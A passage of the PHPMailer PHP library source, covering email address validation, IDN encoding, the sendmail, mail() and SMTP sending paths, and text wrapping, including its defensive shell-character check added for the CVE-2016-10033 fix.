Check that a string looks like an email address.\n * @param string $address The email address to check\n * @param string|callable $patternselect A selector for the validation pattern to use :\n * * `auto` Pick best pattern automatically;\n * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;\n * * `pcre` Use old PCRE implementation;\n * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;\n * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.\n * * `noregex` Don't use a regex: super fast, really dumb.\n * Alternatively you may pass in a callable to inject your own validator, for example:\n * PHPMailer::validateAddress('user@example.com', function($address) {\n * return (strpos($address, '@') !== false);\n * });\n * You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator.\n * @return boolean\n * @static\n * @access public\n *\/\n public static function validateAddress($address, $patternselect = null)\n {\n if (is_null($patternselect)) {\n $patternselect = self::$validator;\n }\n if (is_callable($patternselect)) {\n return call_user_func($patternselect, $address);\n }\n \/\/Reject line breaks in addresses; it's valid RFC5322, but not RFC5321\n if (strpos($address, \"\\n\") !== false or strpos($address, \"\\r\") !== false) {\n return false;\n }\n if (!$patternselect or $patternselect == 'auto') {\n \/\/Check this constant first so it works when extension_loaded() is disabled by safe mode\n \/\/Constant was added in PHP 5.2.4\n if (defined('PCRE_VERSION')) {\n \/\/This pattern can get stuck in a recursive loop in PCRE <= 8.0.2\n if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {\n $patternselect = 'pcre8';\n } else {\n $patternselect = 'pcre';\n }\n } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {\n \/\/Fall back to older PCRE\n $patternselect = 'pcre';\n } else {\n \/\/Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension\n if (version_compare(PHP_VERSION, '5.2.0') >= 0) {\n $patternselect = 'php';\n } else {\n $patternselect = 'noregex';\n }\n }\n }\n switch ($patternselect) {\n case 'pcre8':\n \/**\n * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.\n * @link http:\/\/squiloople.com\/2009\/12\/20\/email-address-validation\/\n * @copyright 2009-2010 Michael Rushton\n * Feel free to use and redistribute this code. But please keep this copyright notice.\n *\/\n return (boolean)preg_match(\n '\/^(?!(?>(?1)\"?(?>\\\\\\[ -~]|[^\"])\"?(?1)){255,})(?!(?>(?1)\"?(?>\\\\\\[ -~]|[^\"])\"?(?1)){65,}@)' .\n '((?>(?>(?>((?>(?>(?>\\x0D\\x0A)?[\\t ])+|(?>[\\t ]*\\x0D\\x0A)?[\\t ]+)?)(\\((?>(?2)' .\n '(?>[\\x01-\\x08\\x0B\\x0C\\x0E-\\'*-\\[\\]-\\x7F]|\\\\\\[\\x00-\\x7F]|(?3)))*(?2)\\)))+(?2))|(?2))?)' .\n '([!#-\\'*+\\\/-9=?^-~-]+|\"(?>(?2)(?>[\\x01-\\x08\\x0B\\x0C\\x0E-!#-\\[\\]-\\x7F]|\\\\\\[\\x00-\\x7F]))*' .\n '(?2)\")(?>(?1)\\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .\n '(?>(?1)\\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .\n '|(?!(?:.*[a-f0-9][:\\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .\n '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .\n '|[1-9]?[0-9])(?>\\.(?9)){3}))\\])(?1)$\/isD',\n $address\n );\n case 'pcre':\n \/\/An older regex that doesn't need a recent PCRE\n return (boolean)preg_match(\n '\/^(?!(?>\"?(?>\\\\\\[ -~]|[^\"])\"?){255,})(?!(?>\"?(?>\\\\\\[ -~]|[^\"])\"?){65,}@)(?>' .\n '[!#-\\'*+\\\/-9=?^-~-]+|\"(?>(?>[\\x01-\\x08\\x0B\\x0C\\x0E-!#-\\[\\]-\\x7F]|\\\\\\[\\x00-\\xFF]))*\")' .\n '(?>\\.(?>[!#-\\'*+\\\/-9=?^-~-]+|\"(?>(?>[\\x01-\\x08\\x0B\\x0C\\x0E-!#-\\[\\]-\\x7F]|\\\\\\[\\x00-\\xFF]))*\"))*' .\n '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\\.(?![a-z0-9-]{64,})' .\n '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .\n '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .\n '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .\n '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .\n '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .\n '|[1-9]?[0-9])(?>\\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\\])$\/isD',\n $address\n );\n case 'html5':\n \/**\n * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.\n * @link http:\/\/www.whatwg.org\/specs\/web-apps\/current-work\/#e-mail-state-(type=email)\n *\/\n return (boolean)preg_match(\n '\/^[a-zA-Z0-9.!#$%&\\'*+\\\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .\n '[a-zA-Z0-9])?(?:\\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$\/sD',\n $address\n );\n case 'noregex':\n \/\/No PCRE! Do something _very_ approximate!\n \/\/Check the address is 3 chars or longer and contains an @ that's not the first or last char\n return (strlen($address) >= 3\n and strpos($address, '@') >= 1\n and strpos($address, '@') != strlen($address) - 1);\n case 'php':\n default:\n return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);\n }\n }\n\n \/**\n * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the\n * \"intl\" and \"mbstring\" PHP extensions.\n * @return bool \"true\" if required functions for IDN support are present\n *\/\n public function idnSupported()\n {\n \/\/ @TODO: Write our own \"idn_to_ascii\" function for PHP <= 5.2.\n return function_exists('idn_to_ascii') and function_exists('mb_convert_encoding');\n }\n\n \/**\n * Converts IDN in given email address to its ASCII form, also known as punycode, if possible.\n * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet.\n * This function silently returns unmodified address if:\n * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form)\n * - Conversion to punycode is impossible (e.g. required PHP functions are not available)\n * or fails for any reason (e.g. domain has characters not allowed in an IDN)\n * @see PHPMailer::$CharSet\n * @param string $address The email address to convert\n * @return string The encoded address in ASCII form\n *\/\n public function punyencodeAddress($address)\n {\n \/\/ Verify we have required functions, CharSet, and at-sign.\n if ($this->idnSupported() and\n !empty($this->CharSet) and\n ($pos = strrpos($address, '@')) !== false) {\n $domain = substr($address, ++$pos);\n \/\/ Verify CharSet string is a valid one, and domain properly encoded in this CharSet.\n if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) {\n $domain = mb_convert_encoding($domain, 'UTF-8', $this->CharSet);\n if (($punycode = defined('INTL_IDNA_VARIANT_UTS46') ?\n idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) :\n idn_to_ascii($domain)) !== false) {\n return substr($address, 0, $pos) . $punycode;\n }\n }\n }\n return $address;\n }\n\n \/**\n * Create a message and send it.\n * Uses the sending method specified by $Mailer.\n * @throws phpmailerException\n * @return boolean false on error - See the ErrorInfo property for details of the error.\n *\/\n public function send()\n {\n try {\n if (!$this->preSend()) {\n return false;\n }\n return $this->postSend();\n } catch (phpmailerException $exc) {\n $this->mailHeader = '';\n $this->setError($exc->getMessage());\n if ($this->exceptions) {\n throw $exc;\n }\n return false;\n }\n }\n\n \/**\n * Prepare a message for sending.\n * @throws phpmailerException\n * @return boolean\n *\/\n public function preSend()\n {\n try {\n $this->error_count = 0; \/\/ Reset errors\n $this->mailHeader = '';\n\n \/\/ Dequeue recipient and Reply-To addresses with IDN\n foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) {\n $params[1] = $this->punyencodeAddress($params[1]);\n call_user_func_array(array($this, 'addAnAddress'), $params);\n }\n if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {\n throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);\n }\n\n \/\/ Validate From, Sender, and ConfirmReadingTo addresses\n foreach (array('From', 'Sender', 'ConfirmReadingTo') as $address_kind) {\n $this->$address_kind = trim($this->$address_kind);\n if (empty($this->$address_kind)) {\n continue;\n }\n $this->$address_kind = $this->punyencodeAddress($this->$address_kind);\n if (!$this->validateAddress($this->$address_kind)) {\n $error_message = $this->lang('invalid_address') . ' (punyEncode) ' . $this->$address_kind;\n $this->setError($error_message);\n $this->edebug($error_message);\n if ($this->exceptions) {\n throw new phpmailerException($error_message);\n }\n return false;\n }\n }\n\n \/\/ Set whether the message is multipart\/alternative\n if ($this->alternativeExists()) {\n $this->ContentType = 'multipart\/alternative';\n }\n\n $this->setMessageType();\n \/\/ Refuse to send an empty message unless we are specifically allowing it\n if (!$this->AllowEmpty and empty($this->Body)) {\n throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);\n }\n\n \/\/ Create body before headers in case body makes changes to headers (e.g. altering transfer encoding)\n $this->MIMEHeader = '';\n $this->MIMEBody = $this->createBody();\n \/\/ createBody may have added some headers, so retain them\n $tempheaders = $this->MIMEHeader;\n $this->MIMEHeader = $this->createHeader();\n $this->MIMEHeader .= $tempheaders;\n\n \/\/ To capture the complete message when using mail(), create\n \/\/ an extra header list which createHeader() doesn't fold in\n if ($this->Mailer == 'mail') {\n if (count($this->to) > 0) {\n $this->mailHeader .= $this->addrAppend('To', $this->to);\n } else {\n $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');\n }\n $this->mailHeader .= $this->headerLine(\n 'Subject',\n $this->encodeHeader($this->secureHeader(trim($this->Subject)))\n );\n }\n\n \/\/ Sign with DKIM if enabled\n if (!empty($this->DKIM_domain)\n and !empty($this->DKIM_selector)\n and (!empty($this->DKIM_private_string)\n or (!empty($this->DKIM_private)\n and self::isPermittedPath($this->DKIM_private)\n and file_exists($this->DKIM_private)\n )\n )\n ) {\n $header_dkim = $this->DKIM_Add(\n $this->MIMEHeader . $this->mailHeader,\n $this->encodeHeader($this->secureHeader($this->Subject)),\n $this->MIMEBody\n );\n $this->MIMEHeader = rtrim($this->MIMEHeader, \"\\r\\n \") . self::CRLF .\n str_replace(\"\\r\\n\", \"\\n\", $header_dkim) . self::CRLF;\n }\n return true;\n } catch (phpmailerException $exc) {\n $this->setError($exc->getMessage());\n if ($this->exceptions) {\n throw $exc;\n }\n return false;\n }\n }\n\n \/**\n * Actually send a message.\n * Send the email via the selected mechanism\n * @throws phpmailerException\n * @return boolean\n *\/\n public function postSend()\n {\n try {\n \/\/ Choose the mailer and send through it\n switch ($this->Mailer) {\n case 'sendmail':\n case 'qmail':\n return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);\n case 'smtp':\n return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);\n case 'mail':\n return $this->mailSend($this->MIMEHeader, $this->MIMEBody);\n default:\n $sendMethod = $this->Mailer.'Send';\n if (method_exists($this, $sendMethod)) {\n return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);\n }\n\n return $this->mailSend($this->MIMEHeader, $this->MIMEBody);\n }\n } catch (phpmailerException $exc) {\n $this->setError($exc->getMessage());\n $this->edebug($exc->getMessage());\n if ($this->exceptions) {\n throw $exc;\n }\n }\n return false;\n }\n\n \/**\n * Send mail using the $Sendmail program.\n * @param string $header The message headers\n * @param string $body The message body\n * @see PHPMailer::$Sendmail\n * @throws phpmailerException\n * @access protected\n * @return boolean\n *\/\n protected function sendmailSend($header, $body)\n {\n \/\/ CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.\n if (!empty($this->Sender) and self::isShellSafe($this->Sender)) {\n if ($this->Mailer == 'qmail') {\n $sendmailFmt = '%s -f%s';\n } else {\n $sendmailFmt = '%s -oi -f%s -t';\n }\n } else {\n if ($this->Mailer == 'qmail') {\n $sendmailFmt = '%s';\n } else {\n $sendmailFmt = '%s -oi -t';\n }\n }\n\n \/\/ TODO: If possible, this should be changed to escapeshellarg. Needs thorough testing.\n $sendmail = sprintf($sendmailFmt, escapeshellcmd($this->Sendmail), $this->Sender);\n\n if ($this->SingleTo) {\n foreach ($this->SingleToArray as $toAddr) {\n if (!@$mail = popen($sendmail, 'w')) {\n throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);\n }\n fputs($mail, 'To: ' . $toAddr . \"\\n\");\n fputs($mail, $header);\n fputs($mail, $body);\n $result = pclose($mail);\n $this->doCallback(\n ($result == 0),\n array($toAddr),\n $this->cc,\n $this->bcc,\n $this->Subject,\n $body,\n $this->From\n );\n if ($result != 0) {\n throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);\n }\n }\n } else {\n if (!@$mail = popen($sendmail, 'w')) {\n throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);\n }\n fputs($mail, $header);\n fputs($mail, $body);\n $result = pclose($mail);\n $this->doCallback(\n ($result == 0),\n $this->to,\n $this->cc,\n $this->bcc,\n $this->Subject,\n $body,\n $this->From\n );\n if ($result != 0) {\n throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);\n }\n }\n return true;\n }\n\n \/**\n * Fix CVE-2016-10033 and CVE-2016-10045 by disallowing potentially unsafe shell characters.\n *\n * Note that escapeshellarg and escapeshellcmd are inadequate for our purposes, especially on Windows.\n * @param string $string The string to be validated\n * @see https:\/\/github.com\/PHPMailer\/PHPMailer\/issues\/924 CVE-2016-10045 bug report\n * @access protected\n * @return boolean\n *\/\n protected static function isShellSafe($string)\n {\n \/\/ Future-proof\n if (escapeshellcmd($string) !== $string\n or !in_array(escapeshellarg($string), array(\"'$string'\", \"\\\"$string\\\"\"))\n ) {\n return false;\n }\n\n $length = strlen($string);\n\n for ($i = 0; $i < $length; $i++) {\n $c = $string[$i];\n\n \/\/ All other characters have a special meaning in at least one common shell, including = and +.\n \/\/ Full stop (.) has a special meaning in cmd.exe, but its impact should be negligible here.\n \/\/ Note that this does permit non-Latin alphanumeric characters based on the current locale.\n if (!ctype_alnum($c) && strpos('@_-.', $c) === false) {\n return false;\n }\n }\n\n return true;\n }\n\n \/**\n * Check whether a file path is of a permitted type.\n * Used to reject URLs and phar files from functions that access local file paths,\n * such as addAttachment.\n * @param string $path A relative or absolute path to a file.\n * @return bool\n *\/\n protected static function isPermittedPath($path)\n {\n return !preg_match('#^[a-z]+:\/\/#i', $path);\n }\n\n \/**\n * Send mail using the PHP mail() function.\n * @param string $header The message headers\n * @param string $body The message body\n * @link http:\/\/www.php.net\/manual\/en\/book.mail.php\n * @throws phpmailerException\n * @access protected\n * @return boolean\n *\/\n protected function mailSend($header, $body)\n {\n $toArr = array();\n foreach ($this->to as $toaddr) {\n $toArr[] = $this->addrFormat($toaddr);\n }\n $to = implode(', ', $toArr);\n\n $params = null;\n \/\/This sets the SMTP envelope sender which gets turned into a return-path header by the receiver\n if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {\n \/\/ CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.\n if (self::isShellSafe($this->Sender)) {\n $params = sprintf('-f%s', $this->Sender);\n }\n }\n if (!empty($this->Sender) and !ini_get('safe_mode') and $this->validateAddress($this->Sender)) {\n $old_from = ini_get('sendmail_from');\n ini_set('sendmail_from', $this->Sender);\n }\n $result = false;\n if ($this->SingleTo and count($toArr) > 1) {\n foreach ($toArr as $toAddr) {\n $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);\n $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);\n }\n } else {\n $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);\n $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);\n }\n if (isset($old_from)) {\n ini_set('sendmail_from', $old_from);\n }\n if (!$result) {\n throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);\n }\n return true;\n }\n\n \/**\n * Get an instance to use for SMTP operations.\n * Override this function to load your own SMTP implementation\n * @return SMTP\n *\/\n public function getSMTPInstance()\n {\n if (!is_object($this->smtp)) {\n $this->smtp = new SMTP;\n }\n return $this->smtp;\n }\n\n \/**\n * Send mail via SMTP.\n * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.\n * Uses the PHPMailerSMTP class by default.\n * @see PHPMailer::getSMTPInstance() to use a different class.\n * @param string $header The message headers\n * @param string $body The message body\n * @throws phpmailerException\n * @uses SMTP\n * @access protected\n * @return boolean\n *\/\n protected function smtpSend($header, $body)\n {\n $bad_rcpt = array();\n if (!$this->smtpConnect($this->SMTPOptions)) {\n throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);\n }\n if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {\n $smtp_from = $this->Sender;\n } else {\n $smtp_from = $this->From;\n }\n if (!$this->smtp->mail($smtp_from)) {\n $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));\n throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);\n }\n\n \/\/ Attempt to send to all recipients\n foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {\n foreach ($togroup as $to) {\n if (!$this->smtp->recipient($to[0])) {\n $error = $this->smtp->getError();\n $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);\n $isSent = false;\n } else {\n $isSent = true;\n }\n $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);\n }\n }\n\n \/\/ Only send the DATA command if we have viable recipients\n if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {\n throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);\n }\n if ($this->SMTPKeepAlive) {\n $this->smtp->reset();\n } else {\n $this->smtp->quit();\n $this->smtp->close();\n }\n \/\/Create error message for any bad addresses\n if (count($bad_rcpt) > 0) {\n $errstr = '';\n foreach ($bad_rcpt as $bad) {\n $errstr .= $bad['to'] . ': ' . $bad['error'];\n }\n throw new phpmailerException(\n $this->lang('recipients_failed') . $errstr,\n self::STOP_CONTINUE\n );\n }\n return true;\n }\n\n \/**\n * Initiate a connection to an SMTP server.\n * Returns false if the operation failed.\n * @param array $options An array of options compatible with stream_context_create()\n * @uses SMTP\n * @access public\n * @throws phpmailerException\n * @return boolean\n *\/\n public function smtpConnect($options = null)\n {\n if (is_null($this->smtp)) {\n $this->smtp = $this->getSMTPInstance();\n }\n\n \/\/If no options are provided, use whatever is set in the instance\n if (is_null($options)) {\n $options = $this->SMTPOptions;\n }\n\n \/\/ Already connected?\n if ($this->smtp->connected()) {\n return true;\n }\n\n $this->smtp->setTimeout($this->Timeout);\n $this->smtp->setDebugLevel($this->SMTPDebug);\n $this->smtp->setDebugOutput($this->Debugoutput);\n $this->smtp->setVerp($this->do_verp);\n $hosts = explode(';', $this->Host);\n $lastexception = null;\n\n foreach ($hosts as $hostentry) {\n $hostinfo = array();\n if (!preg_match(\n '\/^((ssl|tls):\\\/\\\/)*([a-zA-Z0-9\\.-]*|\\[[a-fA-F0-9:]+\\]):?([0-9]*)$\/',\n trim($hostentry),\n $hostinfo\n )) {\n \/\/ Not a valid host entry\n $this->edebug('Ignoring invalid host: ' . $hostentry);\n continue;\n }\n \/\/ $hostinfo[2]: optional ssl or tls prefix\n \/\/ $hostinfo[3]: the hostname\n \/\/ $hostinfo[4]: optional port number\n \/\/ The host string prefix can temporarily override the current setting for SMTPSecure\n \/\/ If it's not specified, the default value is used\n $prefix = '';\n $secure = $this->SMTPSecure;\n $tls = ($this->SMTPSecure == 'tls');\n if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {\n $prefix = 'ssl:\/\/';\n $tls = false; \/\/ Can't have SSL and TLS at the same time\n $secure = 'ssl';\n } elseif ($hostinfo[2] == 'tls') {\n $tls = true;\n \/\/ tls doesn't use a prefix\n $secure = 'tls';\n }\n \/\/Do we need the OpenSSL extension?\n $sslext = defined('OPENSSL_ALGO_SHA1');\n if ('tls' === $secure or 'ssl' === $secure) {\n \/\/Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled\n if (!$sslext) {\n throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL);\n }\n }\n $host = $hostinfo[3];\n $port = $this->Port;\n $tport = (integer)$hostinfo[4];\n if ($tport > 0 and $tport < 65536) {\n $port = $tport;\n }\n if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {\n try {\n if ($this->Helo) {\n $hello = $this->Helo;\n } else {\n $hello = $this->serverHostname();\n }\n $this->smtp->hello($hello);\n \/\/Automatically enable TLS encryption if:\n \/\/ * it's not disabled\n \/\/ * we have openssl extension\n \/\/ * we are not already using SSL\n \/\/ * the server offers STARTTLS\n if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {\n $tls = true;\n }\n if ($tls) {\n if (!$this->smtp->startTLS()) {\n throw new phpmailerException($this->lang('connect_host'));\n }\n \/\/ We must resend EHLO after TLS negotiation\n $this->smtp->hello($hello);\n }\n if ($this->SMTPAuth) {\n if (!$this->smtp->authenticate(\n $this->Username,\n $this->Password,\n $this->AuthType,\n $this->Realm,\n $this->Workstation\n )\n ) {\n throw new phpmailerException($this->lang('authenticate'));\n }\n }\n return true;\n } catch (phpmailerException $exc) {\n $lastexception = $exc;\n $this->edebug($exc->getMessage());\n \/\/ We must have connected, but then failed TLS or Auth, so close connection nicely\n $this->smtp->quit();\n }\n }\n }\n \/\/ If we get here, all connection attempts have failed, so close connection hard\n $this->smtp->close();\n \/\/ As we've caught all exceptions, just report whatever the last one was\n if ($this->exceptions and !is_null($lastexception)) {\n throw $lastexception;\n }\n return false;\n }\n\n \/**\n * Close the active SMTP session if one exists.\n * @return void\n *\/\n public function smtpClose()\n {\n if (is_a($this->smtp, 'SMTP')) {\n if ($this->smtp->connected()) {\n $this->smtp->quit();\n $this->smtp->close();\n }\n }\n }\n\n \/**\n * Set the language for error messages.\n * Returns false if it cannot load the language file.\n * The default language is English.\n * @param string $langcode ISO 639-1 2-character language code (e.g. French is \"fr\")\n * @param string $lang_path Path to the language file directory, with trailing separator (slash)\n * @return boolean\n * @access public\n *\/\n public function setLanguage($langcode = 'en', $lang_path = '')\n {\n \/\/ Backwards compatibility for renamed language codes\n $renamed_langcodes = array(\n 'br' => 'pt_br',\n 'cz' => 'cs',\n 'dk' => 'da',\n 'no' => 'nb',\n 'se' => 'sv',\n 'sr' => 'rs'\n );\n\n if (isset($renamed_langcodes[$langcode])) {\n $langcode = $renamed_langcodes[$langcode];\n }\n\n \/\/ Define full set of translatable strings in English\n $PHPMAILER_LANG = array(\n 'authenticate' => 'SMTP Error: Could not authenticate.',\n 'connect_host' => 'SMTP Error: Could not connect to SMTP host.',\n 'data_not_accepted' => 'SMTP Error: data not accepted.',\n 'empty_message' => 'Message body empty',\n 'encoding' => 'Unknown encoding: ',\n 'execute' => 'Could not execute: ',\n 'file_access' => 'Could not access file: ',\n 'file_open' => 'File Error: Could not open file: ',\n 'from_failed' => 'The following From address failed: ',\n 'instantiate' => 'Could not instantiate mail function.',\n 'invalid_address' => 'Invalid address: ',\n 'mailer_not_supported' => ' mailer is not supported.',\n 'provide_address' => 'You must provide at least one recipient email address.',\n 'recipients_failed' => 'SMTP Error: The following recipients failed: ',\n 'signing' => 'Signing Error: ',\n 'smtp_connect_failed' => 'SMTP connect() failed.',\n 'smtp_error' => 'SMTP server error: ',\n 'variable_set' => 'Cannot set or reset variable: ',\n 'extension_missing' => 'Extension missing: '\n );\n if (empty($lang_path)) {\n \/\/ Calculate an absolute path so it can work if CWD is not here\n $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;\n }\n \/\/Validate $langcode\n if (!preg_match('\/^[a-z]{2}(?:_[a-zA-Z]{2})?$\/', $langcode)) {\n $langcode = 'en';\n }\n $foundlang = true;\n $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';\n \/\/ There is no English translation file\n if ($langcode != 'en') {\n \/\/ Make sure language file path is readable\n if (!self::isPermittedPath($lang_file) or !is_readable($lang_file)) {\n $foundlang = false;\n } else {\n \/\/ Overwrite language-specific strings.\n \/\/ This way we'll never have missing translation keys.\n $foundlang = include $lang_file;\n }\n }\n $this->language = $PHPMAILER_LANG;\n return (boolean)$foundlang; \/\/ Returns false if language not found\n }\n\n \/**\n * Get the array of strings for the current language.\n * @return array\n *\/\n public function getTranslations()\n {\n return $this->language;\n }\n\n \/**\n * Create recipient headers.\n * @access public\n * @param string $type\n * @param array $addr An array of recipient,\n * where each recipient is a 2-element indexed array with element 0 containing an address\n * and element 1 containing a name, like:\n * array(array('joe@example.com', 'Joe User'), array('zoe@example.com', 'Zoe User'))\n * @return string\n *\/\n public function addrAppend($type, $addr)\n {\n $addresses = array();\n foreach ($addr as $address) {\n $addresses[] = $this->addrFormat($address);\n }\n return $type . ': ' . implode(', ', $addresses) . $this->LE;\n }\n\n \/**\n * Format an address for use in a message header.\n * @access public\n * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name\n * like array('joe@example.com', 'Joe User')\n * @return string\n *\/\n public function addrFormat($addr)\n {\n if (empty($addr[1])) { \/\/ No name provided\n return $this->secureHeader($addr[0]);\n } else {\n return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(\n $addr[0]\n ) . '>';\n }\n }\n\n \/**\n * Word-wrap message.\n * For use with mailers that do not automatically perform wrapping\n * and for quoted-printable encoded messages.\n * Original written by philippe.\n * @param string $message The message to wrap\n * @param integer $length The line length to wrap to\n * @param boolean $qp_mode Whether to run in Quoted-Printable mode\n * @access public\n * @return string\n *\/\n public function wrapText($message, $length, $qp_mode = false)\n {\n if ($qp_mode) {\n $soft_break = sprintf(' =%s', $this->LE);\n } else {\n $soft_break = $this->LE;\n }\n \/\/ If utf-8 encoding is used, we will need to make sure we don't\n \/\/ split multibyte characters when we wrap\n $is_utf8 = (strtolower($this->CharSet) == 'utf-8');\n $lelen = strlen($this->LE);\n $crlflen = strlen(self::CRLF);\n\n $message = $this->fixEOL($message);\n \/\/Remove a trailing line break\n if (substr($message, -$lelen) == $this->LE) {\n $message = substr($message, 0, -$lelen);\n }\n\n \/\/Split message into lines\n $lines = explode($this->LE, $message);\n \/\/Message will be rebuilt in here\n $message = '';\n foreach ($lines as $line) {\n $words = explode(' ', $line);\n $buf = '';\n $firstword = true;\n foreach ($words as $word) {\n if ($qp_mode and (strlen($word) > $length)) {\n $space_left = $length - strlen($buf) - $crlflen;\n if (!$firstword) {\n if ($space_left > 20) {\n $len = $space_left;\n if ($is_utf8) {\n $len = $this->utf8CharBoundary($word, $len);\n } elseif (substr($word, $len - 1, 1) == '=') {\n $len--;\n } elseif (substr($word, $len - 2, 1) == '=') {\n $len -= 2;\n }\n $part = substr($word, 0, $len);\n $word = substr($word, $len);\n $buf .= ' ' . $part;\n $message .= $buf . sprintf('=%s', self::CRLF);\n } else {\n $message .= $buf . $soft_break;\n }\n $buf = '';\n }\n while (strlen($word) > 0) {\n if ($length <= 0) {\n break;\n }\n $len = $length;\n if ($is_utf8) {\n $len = $this->utf8CharBoundary($word, $len);\n } elseif (substr($word, $len - 1, 1) == '=') {\n $len--;\n } elseif (substr($word, $len - 2, 1) == '=') {\n $len -= 2;\n }\n $part = substr($word, 0, $len);\n $word = substr($word, $len);\n\n if (strlen($word) > 0) {\n $message .= $part . sprintf('=%s', self::CRLF);\n } else {\n $buf = $part;\n }\n }\n } else {\n $buf_o = $buf;\n if (!$firstword) {\n $buf .= ' ';\n }\n $buf .= $word;\n\n if (strlen($buf) > $length and $buf_o != '') {\n $message .= $buf_o . $soft_break;\n $buf = $word;\n }\n }\n $firstword = false;\n }\n $message .= $buf . self::CRLF;\n }\n\n return $message;\n }\n\n \/**\n * Find the last character boundary prior to $maxLength in a utf-8\n * quoted-printable encoded string.\n * Original written by Colin Brown.\n * @access public\n * @param string $encodedText utf-8 QP text\n * @param integer $maxLength Find the last character boundary prior to this length\n * @return integer\n *\/\n public function utf8CharBoundary($encodedText, $maxLength)\n {\n $foundSplitPos = false;\n $lookBack = 3;\n while (!$foundSplitPos) {\n $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);\n $encodedCharPos = strpos($lastChunk, '=');\n if (false !== $encodedCharPos) {\n \/\/ Found start of encoded character byte within $lookBack block.\n \/\/ Check the encoded byte value (the 2 chars after the '=')\n $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);\n $dec = hexdec($hex);\n if ($dec < 128) {\n \/\/ Single byte character.\n \/\/ If the encoded char was 